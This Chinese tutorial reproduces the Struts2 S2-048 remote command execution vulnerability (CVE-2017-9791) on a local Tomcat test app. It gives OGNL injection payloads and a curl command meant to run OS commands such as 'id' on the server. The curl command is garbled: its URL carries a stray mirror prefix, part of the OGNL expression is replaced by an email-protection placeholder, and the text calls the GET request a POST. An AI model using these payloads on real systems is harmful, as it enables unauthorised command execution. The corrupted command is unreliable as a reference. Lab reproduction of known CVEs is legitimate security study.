struts2-048漏洞复现
时间: 2025-03-26 22:05:07 浏览: 34
### Struts2 S2-048 漏洞复现
#### 准备工作
为了成功复现Struts2 S2-048远程命令执行漏洞(CVE-2017-9791),需准备如下环境:
- 安装并配置好Apache Tomcat服务器以及Java开发环境。
- 下载受影响版本的Struts2框架,具体来说是Struts 2.3.5至Struts 2.3.31, 或者Struts 2.5至Struts 2.5.10之间的任意一个版本[^2]。
#### 构建测试应用
创建一个新的Web应用程序项目,并将其部署到Tomcat上运行。此程序应包含至少一个带有表单提交功能的JSP页面用于触发该安全问题。确保所使用的Struts2库文件属于上述提到的影响范围内。
#### 利用POC验证漏洞
利用已知的有效Payload来尝试攻击目标站点。对于S2-048而言,可以构造特定形式的HTTP请求参数,使得当这些参数被用来预填充HTML输入框时能够被执行为OS命令。例如,在登录界面中加入恶意字符串作为用户名或密码字段的内容,格式类似于`%{new java.lang.ProcessBuilder('whoami').start()}`这样的OGNL表达式[^3]。
```bash
curl "http://localhost:8080/yourapp/login.action?username=%{#[email protected]@getResponse().getWriter(),#b=#a.println(new+java.io.BufferedReader(new+java.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).readLine()),#c=#a.close()}&password=anything"
```
以上命令通过向存在缺陷的应用发送特制POST请求实现对操作系统级别的指令调用,这里以获取当前用户的ID为例进行了展示。如果一切正常,则会在响应体里看到相应的输出结果。
请注意实际操作过程中应当遵循合法合规的原则,在授权许可下的实验环境中开展研究活动;切勿非法入侵他人信息系统!
阅读全文
相关推荐

















